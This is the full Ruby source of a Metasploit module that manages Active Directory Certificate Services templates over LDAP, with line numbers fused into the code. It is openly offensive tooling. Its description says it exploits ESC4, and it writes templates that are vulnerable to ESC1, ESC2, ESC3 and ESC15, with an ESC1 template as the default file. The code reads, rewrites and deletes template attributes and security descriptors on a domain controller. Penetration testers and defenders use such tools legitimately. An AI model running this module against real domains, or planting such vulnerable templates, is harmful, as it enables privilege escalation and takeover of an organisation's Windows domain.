Path: blob/master/modules/auxiliary/admin/ldap/ad_cs_cert_template.rb
19670 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary67include Msf::Exploit::Remote::LDAP::ActiveDirectory8include Msf::OptionalSession::LDAP9include Msf::Auxiliary::Report1011IGNORED_ATTRIBUTES = [12'dn',13'distinguishedName',14'objectClass',15'cn',16'whenCreated',17'whenChanged',18'name',19'objectGUID',20'objectCategory',21'dSCorePropagationData',22'msPKI-Cert-Template-OID',23'uSNCreated',24'uSNChanged',25'displayName',26'instanceType',27'revision',28'msPKI-Template-Schema-Version',29'msPKI-Template-Minor-Revision',30].freeze3132def initialize(info = {})33super(34update_info(35info,36'Name' => 'AD CS Certificate Template Management',37'Description' => %q{38This module can create, read, update, and delete AD CS certificate templates from a Active Directory Domain39Controller.4041The READ, UPDATE, and DELETE actions will write a copy of the certificate template to disk that can be42restored using the CREATE or UPDATE actions. The CREATE and UPDATE actions require a certificate template data43file to be specified to define the attributes. Template data files are provided to create a template that is44vulnerable to ESC1, ESC2, ESC3 and ESC15.4546This module is capable of exploiting ESC4.47},48'Author' => [49'Will Schroeder', # original idea/research50'Lee Christensen', # original idea/research51'Oliver Lyak', # certipy implementation52'Spencer McIntyre'53],54'References' => [55[ 'URL', 'https://posts.specterops.io/certified-pre-owned-d95910965cd2' ],56[ 'URL', 'https://github.com/GhostPack/Certify' ],57[ 'URL', 'https://github.com/ly4k/Certipy' ]58],59'License' => MSF_LICENSE,60'Actions' => [61['CREATE', { 'Description' => 'Create the certificate template' }],62['READ', { 'Description' => 'Read the certificate template' }],63['UPDATE', { 'Description' => 'Modify the certificate template' }],64['DELETE', { 'Description' => 'Delete the certificate template' }]65],66'DefaultAction' => 'READ',67'Notes' => {68'Stability' => [],69'SideEffects' => [CONFIG_CHANGES],70'Reliability' => [],71'AKA' => [ 'Certifry', 'Certipy' ]72}73)74)7576register_options([77OptString.new('BASE_DN', [false, 'LDAP base DN if you already have it']),78OptString.new('CERT_TEMPLATE', [ true, 'The remote certificate template name', 'User' ]),79OptPath.new('TEMPLATE_FILE', [ false, 'Local template definition file', File.join(::Msf::Config.data_directory, 'auxiliary', 'admin', 'ldap', 'ad_cs_cert_template', 'esc1_template.yaml') ])80])81end8283def run84ldap_connect do |ldap|85validate_bind_success!(ldap)8687if (@base_dn = datastore['BASE_DN'])88print_status("User-specified base DN: #{@base_dn}")89else90print_status('Discovering base DN automatically')9192unless (@base_dn = ldap.base_dn)93fail_with(Failure::NotFound, "Couldn't discover base DN!")94end95end96@ldap = ldap9798result = send("action_#{action.name.downcase}")99print_good('The operation completed successfully!')100result101end102rescue Errno::ECONNRESET103fail_with(Failure::Disconnected, 'The connection was reset.')104rescue Rex::ConnectionError => e105fail_with(Failure::Unreachable, e.message)106rescue Rex::Proto::Kerberos::Model::Error::KerberosError => e107fail_with(Failure::NoAccess, e.message)108rescue Net::LDAP::Error => e109fail_with(Failure::Unknown, "#{e.class}: #{e.message}")110end111112def get_certificate_template113obj = @ldap.search(114filter: "(&(cn=#{datastore['CERT_TEMPLATE']})(objectClass=pKICertificateTemplate))",115base: "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,#{@base_dn}",116controls: [adds_build_ldap_sd_control(owner: false, group: false, dacl: true, sacl: false)]117)&.first118fail_with(Failure::NotFound, 'The specified template was not found.') unless obj119120print_good("Read certificate template data for: #{obj.dn}")121stored = store_loot(122'windows.ad.cs.template',123'application/json',124rhost,125dump_to_json(obj),126"#{datastore['CERT_TEMPLATE'].downcase.gsub(' ', '_')}_template.json",127"#{datastore['CERT_TEMPLATE']} Certificate Template"128)129print_status("Certificate template data written to: #{stored}")130[obj, stored]131end132133def get_pki_oids134return @pki_oids if @pki_oids.present?135136raw_objs = @ldap.search(137base: "CN=OID,CN=Public Key Services,CN=Services,CN=Configuration,#{@base_dn}",138filter: '(objectClass=msPKI-Enterprise-OID)'139)140validate_query_result!(@ldap.get_operation_result.table)141return nil unless raw_objs142143@pki_oids = []144raw_objs.each do |raw_obj|145obj = {}146raw_obj.attribute_names.each do |attr|147obj[attr.to_s] = raw_obj[attr].map(&:to_s)148end149150@pki_oids << obj151end152@pki_oids153end154155def get_pki_oid_displayname(oid)156oid_obj = get_pki_oids.find { |o| o['mspki-cert-template-oid'].first == oid }157return nil unless oid_obj && oid_obj['displayname'].present?158159oid_obj['displayname'].first160end161162def dump_to_json(template)163json = {}164165template.each do |attribute, values|166next if IGNORED_ATTRIBUTES.any? { |word| word.casecmp?(attribute) }167168json[attribute] = values.map do |value|169value.each_byte.map { |b| b.to_s(16).rjust(2, '0') }.join170end171end172173json.to_json174end175176def load_from_json(json)177template = {}178179JSON.parse(json).each do |attribute, values|180next if IGNORED_ATTRIBUTES.any? { |word| word.casecmp?(attribute) }181182template[attribute] = values.map do |value|183value.scan(/../).map { |x| x.hex.chr }.join184end185end186187template188end189190def load_from_yaml(yaml)191template = {}192193YAML.safe_load(yaml).each do |attribute, value|194next if IGNORED_ATTRIBUTES.any? { |word| word.casecmp?(attribute) }195196if attribute.casecmp?('nTSecurityDescriptor')197unless value.is_a?(String)198fail_with(Failure::BadConfig, 'The local template file specified an invalid nTSecurityDescriptor.')199end200201# if the string only contains printable characters, treat it as SDDL202if value !~ /[^[:print:]]/203vprint_status("Parsing SDDL text: #{value}")204domain_info = adds_get_domain_info(@ldap)205fail_with(Failure::Unknown, 'Failed to obtain the domain SID.') unless domain_info206207begin208descriptor = Rex::Proto::MsDtyp::MsDtypSecurityDescriptor.from_sddl_text(value, domain_sid: domain_info[:sid])209rescue RuntimeError => e210fail_with(Failure::BadConfig, e.message)211end212213value = descriptor.to_binary_s214elsif !value.start_with?("\x01".b)215fail_with(Failure::BadConfig, 'The local template file specified an invalid nTSecurityDescriptor.')216end217end218219value = [ value ] unless value.is_a?(Array)220template[attribute] = value.map(&:to_s)221end222223template224end225226def load_local_template227if datastore['TEMPLATE_FILE'].blank?228fail_with(Failure::BadConfig, 'No local template file was specified in TEMPLATE_FILE.')229end230231unless File.readable?(datastore['TEMPLATE_FILE']) && File.file?(datastore['TEMPLATE_FILE'])232fail_with(Failure::BadConfig, 'TEMPLATE_FILE must be a readable file.')233end234235file_data = File.read(datastore['TEMPLATE_FILE'])236if datastore['TEMPLATE_FILE'].downcase.end_with?('.json')237load_from_json(file_data)238elsif datastore['TEMPLATE_FILE'].downcase.end_with?('.yaml') || datastore['TEMPLATE_FILE'].downcase.end_with?('.yml')239load_from_yaml(file_data)240else241fail_with(Failure::BadConfig, 'TEMPLATE_FILE must be a JSON or YAML file.')242end243end244245def action_create246dn = "CN=#{datastore['CERT_TEMPLATE']},"247dn << 'CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,'248dn << @base_dn249250# defaults to create one from the builtin SubCA template251# the nTSecurityDescriptor and objectGUID fields will be set automatically so they can be omitted252attributes = {253'objectclass' => ['top', 'pKICertificateTemplate'],254'cn' => datastore['CERT_TEMPLATE'],255'instancetype' => '4',256'displayname' => datastore['CERT_TEMPLATE'],257'usncreated' => '16437',258'usnchanged' => '16437',259'showinadvancedviewonly' => 'TRUE',260'name' => datastore['CERT_TEMPLATE'],261'flags' => '66257',262'revision' => '5',263'objectcategory' => "CN=PKI-Certificate-Template,CN=Schema,CN=Configuration,#{@base_dn}",264'pkidefaultkeyspec' => '2',265'pkikeyusage' => "\x86\x00".b,266'pkimaxissuingdepth' => '-1',267'pkicriticalextensions' => ['2.5.29.15', '2.5.29.19'],268'pkiexpirationperiod' => "\x00@\x1E\xA4\xE8e\xFA\xFF".b,269'pkioverlapperiod' => "\x00\x80\xA6\n\xFF\xDE\xFF\xFF".b,270'pkidefaultcsps' => '1,Microsoft Enhanced Cryptographic Provider v1.0',271'dscorepropagationdata' => '16010101000000.0Z',272'mspki-ra-signature' => '0',273'mspki-enrollment-flag' => '0',274'mspki-private-key-flag' => '16',275'mspki-certificate-name-flag' => '1',276'mspki-minimal-key-size' => '2048',277'mspki-template-schema-version' => '1',278'mspki-template-minor-revision' => '1',279'mspki-cert-template-oid' => '1.3.6.1.4.1.311.21.8.9238385.12403672.2312086.11590436.9092015.147.1.18'280}281282unless datastore['TEMPLATE_FILE'].blank?283load_local_template.each do |key, value|284key = key.downcase285next if %w[dn distinguishedname objectguid].include?(key)286287attributes[key.downcase] = value288end289end290291# can not contain dn, distinguishedname, or objectguid292print_status("Creating: #{dn}")293@ldap.add(dn: dn, attributes: attributes)294validate_query_result!(@ldap.get_operation_result.table)295dn296end297298def action_delete299obj, = get_certificate_template300301@ldap.delete(dn: obj['dn'].first)302validate_query_result!(@ldap.get_operation_result.table)303true304end305306def action_read307obj, stored = get_certificate_template308309print_status('Certificate Template:')310print_status(" distinguishedName: #{obj['distinguishedname'].first}")311print_status(" displayName: #{obj['displayname'].first}") if obj['displayname'].present?312if obj['objectguid'].first.present?313object_guid = Rex::Proto::MsDtyp::MsDtypGuid.read(obj['objectguid'].first)314print_status(" objectGUID: #{object_guid}")315end316317if obj[:nTSecurityDescriptor].first.present?318domain_info = adds_get_domain_info(@ldap)319fail_with(Failure::Unknown, 'Failed to obtain the domain SID.') unless domain_info320321begin322sd = Rex::Proto::MsDtyp::MsDtypSecurityDescriptor.read(obj[:nTSecurityDescriptor].first)323sddl_text = sd.to_sddl_text(domain_sid: domain_info[:sid])324rescue StandardError => e325elog('failed to parse a binary security descriptor to SDDL', error: e)326else327print_status(" nTSecurityDescriptor: #{sddl_text}")328if adds_obj_grants_permissions?(@ldap, obj, SecurityDescriptorMatcher::Allow.full_control)329permissions = [ 'FULL CONTROL' ]330else331permissions = [ 'READ' ] # if we have the object, we can assume we have read permissions332permissions << 'WRITE' if adds_obj_grants_permissions?(@ldap, obj, SecurityDescriptorMatcher::Allow.new(:WP))333permissions << 'ENROLL' if adds_obj_grants_permissions?(@ldap, obj, SecurityDescriptorMatcher::Allow.certificate_enrollment)334permissions << 'AUTOENROLL' if adds_obj_grants_permissions?(@ldap, obj, SecurityDescriptorMatcher::Allow.certificate_autoenrollment)335end336whoami = adds_get_current_user(@ldap)337print_status(" * Permissions applied for #{whoami[:userPrincipalName].first}: #{permissions.join(', ')}")338end339end340341pki_flag = obj['flags']&.first342if pki_flag.present?343pki_flag = [obj['flags'].first.to_i].pack('l').unpack1('L')344print_status(" flags: 0x#{pki_flag.to_s(16).rjust(8, '0')}")345%w[346CT_FLAG_AUTO_ENROLLMENT347CT_FLAG_MACHINE_TYPE348CT_FLAG_IS_CA349CT_FLAG_ADD_TEMPLATE_NAME350CT_FLAG_IS_CROSS_CA351CT_FLAG_IS_DEFAULT352CT_FLAG_IS_MODIFIED353CT_FLAG_DONOTPERSISTINDB354CT_FLAG_ADD_EMAIL355CT_FLAG_PUBLISH_TO_DS356CT_FLAG_EXPORTABLE_KEY357].each do |flag_name|358if pki_flag & Rex::Proto::MsCrtd.const_get(flag_name) != 0359print_status(" * #{flag_name}")360end361end362end363364pki_flag = obj['mspki-certificate-name-flag']&.first365if pki_flag.present?366pki_flag = [obj['mspki-certificate-name-flag'].first.to_i].pack('l').unpack1('L')367print_status(" msPKI-Certificate-Name-Flag: 0x#{pki_flag.to_s(16).rjust(8, '0')}")368%w[369CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT370CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT_ALT_NAME371CT_FLAG_SUBJECT_ALT_REQUIRE_DOMAIN_DNS372CT_FLAG_SUBJECT_ALT_REQUIRE_SPN373CT_FLAG_SUBJECT_ALT_REQUIRE_DIRECTORY_GUID374CT_FLAG_SUBJECT_ALT_REQUIRE_UPN375CT_FLAG_SUBJECT_ALT_REQUIRE_EMAIL376CT_FLAG_SUBJECT_ALT_REQUIRE_DNS377CT_FLAG_SUBJECT_REQUIRE_DNS_AS_CN378CT_FLAG_SUBJECT_REQUIRE_EMAIL379CT_FLAG_SUBJECT_REQUIRE_COMMON_NAME380CT_FLAG_SUBJECT_REQUIRE_DIRECTORY_PATH381CT_FLAG_OLD_CERT_SUPPLIES_SUBJECT_AND_ALT_NAME382].each do |flag_name|383if pki_flag & Rex::Proto::MsCrtd.const_get(flag_name) != 0384print_status(" * #{flag_name}")385end386end387end388389pki_flag = obj['mspki-enrollment-flag']&.first390if pki_flag.present?391pki_flag = [obj['mspki-enrollment-flag'].first.to_i].pack('l').unpack1('L')392print_status(" msPKI-Enrollment-Flag: 0x#{pki_flag.to_s(16).rjust(8, '0')}")393%w[394CT_FLAG_INCLUDE_SYMMETRIC_ALGORITHMS395CT_FLAG_PEND_ALL_REQUESTS396CT_FLAG_PUBLISH_TO_KRA_CONTAINER397CT_FLAG_PUBLISH_TO_DS398CT_FLAG_AUTO_ENROLLMENT_CHECK_USER_DS_CERTIFICATE399CT_FLAG_AUTO_ENROLLMENT400CT_FLAG_PREVIOUS_APPROVAL_VALIDATE_REENROLLMENT401CT_FLAG_USER_INTERACTION_REQUIRED402CT_FLAG_REMOVE_INVALID_CERTIFICATE_FROM_PERSONAL_STORE403CT_FLAG_ALLOW_ENROLL_ON_BEHALF_OF404CT_FLAG_ADD_OCSP_NOCHECK405CT_FLAG_ENABLE_KEY_REUSE_ON_NT_TOKEN_KEYSET_STORAGE_FULL406CT_FLAG_NOREVOCATIONINFOINISSUEDCERTS407CT_FLAG_INCLUDE_BASIC_CONSTRAINTS_FOR_EE_CERTS408CT_FLAG_ALLOW_PREVIOUS_APPROVAL_KEYBASEDRENEWAL_VALIDATE_REENROLLMENT409CT_FLAG_ISSUANCE_POLICIES_FROM_REQUEST410CT_FLAG_SKIP_AUTO_RENEWAL411].each do |flag_name|412if pki_flag & Rex::Proto::MsCrtd.const_get(flag_name) != 0413print_status(" * #{flag_name}")414end415end416end417418pki_flag = obj['mspki-private-key-flag']&.first419if pki_flag.present?420pki_flag = [obj['mspki-private-key-flag'].first.to_i].pack('l').unpack1('L')421print_status(" msPKI-Private-Key-Flag: 0x#{pki_flag.to_s(16).rjust(8, '0')}")422%w[423CT_FLAG_REQUIRE_PRIVATE_KEY_ARCHIVAL424CT_FLAG_EXPORTABLE_KEY425CT_FLAG_STRONG_KEY_PROTECTION_REQUIRED426CT_FLAG_REQUIRE_ALTERNATE_SIGNATURE_ALGORITHM427CT_FLAG_REQUIRE_SAME_KEY_RENEWAL428CT_FLAG_USE_LEGACY_PROVIDER429CT_FLAG_ATTEST_NONE430CT_FLAG_ATTEST_REQUIRED431CT_FLAG_ATTEST_PREFERRED432CT_FLAG_ATTESTATION_WITHOUT_POLICY433CT_FLAG_EK_TRUST_ON_USE434CT_FLAG_EK_VALIDATE_CERT435CT_FLAG_EK_VALIDATE_KEY436CT_FLAG_HELLO_LOGON_KEY437].each do |flag_name|438if pki_flag & Rex::Proto::MsCrtd.const_get(flag_name) != 0439print_status(" * #{flag_name}")440end441end442end443444pki_flag = obj['mspki-ra-signature']&.first445if pki_flag.present?446pki_flag = [pki_flag.to_i].pack('l').unpack1('L')447print_status(" msPKI-RA-Signature: 0x#{pki_flag.to_s(16).rjust(8, '0')}")448end449450pki_flag = obj['mkpki-template-schema-version']&.first451if pki_flag.present?452print_status(" msPKI-Template-Schema-Version: #{pki_flag}")453end454455if obj['mspki-certificate-policy'].present?456if obj['mspki-certificate-policy'].length == 1457if (oid_name = get_pki_oid_displayname(obj['mspki-certificate-policy'].first)).present?458print_status(" msPKI-Certificate-Policy: #{obj['mspki-certificate-policy'].first} (#{oid_name})")459else460print_status(" msPKI-Certificate-Policy: #{obj['mspki-certificate-policy'].first}")461end462else463print_status(' msPKI-Certificate-Policy:')464obj['mspki-certificate-policy'].each do |value|465if (oid_name = get_pki_oid_displayname(value)).present?466print_status(" * #{value} (#{oid_name})")467else468print_status(" * #{value}")469end470end471end472end473474if obj['mspki-template-schema-version'].present?475print_status(" msPKI-Template-Schema-Version: #{obj['mspki-template-schema-version'].first.to_i}")476end477478pki_flag = obj['pkikeyusage']&.first479if pki_flag.present?480pki_flag = [pki_flag.to_i].pack('l').unpack1('L')481print_status(" pKIKeyUsage: 0x#{pki_flag.to_s(16).rjust(8, '0')}")482end483484if obj['pkiextendedkeyusage'].present?485print_status(' pKIExtendedKeyUsage:')486obj['pkiextendedkeyusage'].each do |value|487if (oid = Rex::Proto::CryptoAsn1::OIDs.value(value)) && oid.label.present?488print_status(" * #{value} (#{oid.label})")489else490print_status(" * #{value}")491end492end493end494495if obj['pkimaxissuingdepth'].present?496print_status(" pKIMaxIssuingDepth: #{obj['pkimaxissuingdepth'].first.to_i}")497end498499if obj['showinadvancedviewonly'].present?500print_status(" showInAdvancedViewOnly: #{obj['showinadvancedviewonly'].first}")501end502503{ object: obj, file: stored }504end505506def action_update507obj, = get_certificate_template508new_configuration = load_local_template509510operations = []511obj.each do |attribute, value|512next if IGNORED_ATTRIBUTES.any? { |word| word.casecmp?(attribute) }513514if new_configuration.keys.any? { |word| word.casecmp?(attribute) }515new_value = new_configuration.find { |k, _| k.casecmp?(attribute) }.last516unless value.tally == new_value.tally517operations << [:replace, attribute, new_value]518end519elsif attribute == 'ntsecuritydescriptor'520# the security descriptor can't be deleted so leave it alone unless specified521else522operations << [:delete, attribute, nil]523end524end525526new_configuration.each_key do |attribute|527next if IGNORED_ATTRIBUTES.any? { |word| word.casecmp?(attribute) }528next if obj.attribute_names.any? { |i| i.casecmp?(attribute) }529530operations << [:add, attribute, new_configuration[attribute]]531end532533if operations.empty?534print_good('There are no changes to be made.')535return true536end537538@ldap.modify(dn: obj.dn, operations: operations, controls: [adds_build_ldap_sd_control(owner: false, group: false)])539validate_query_result!(@ldap.get_operation_result.table)540true541end542end543544545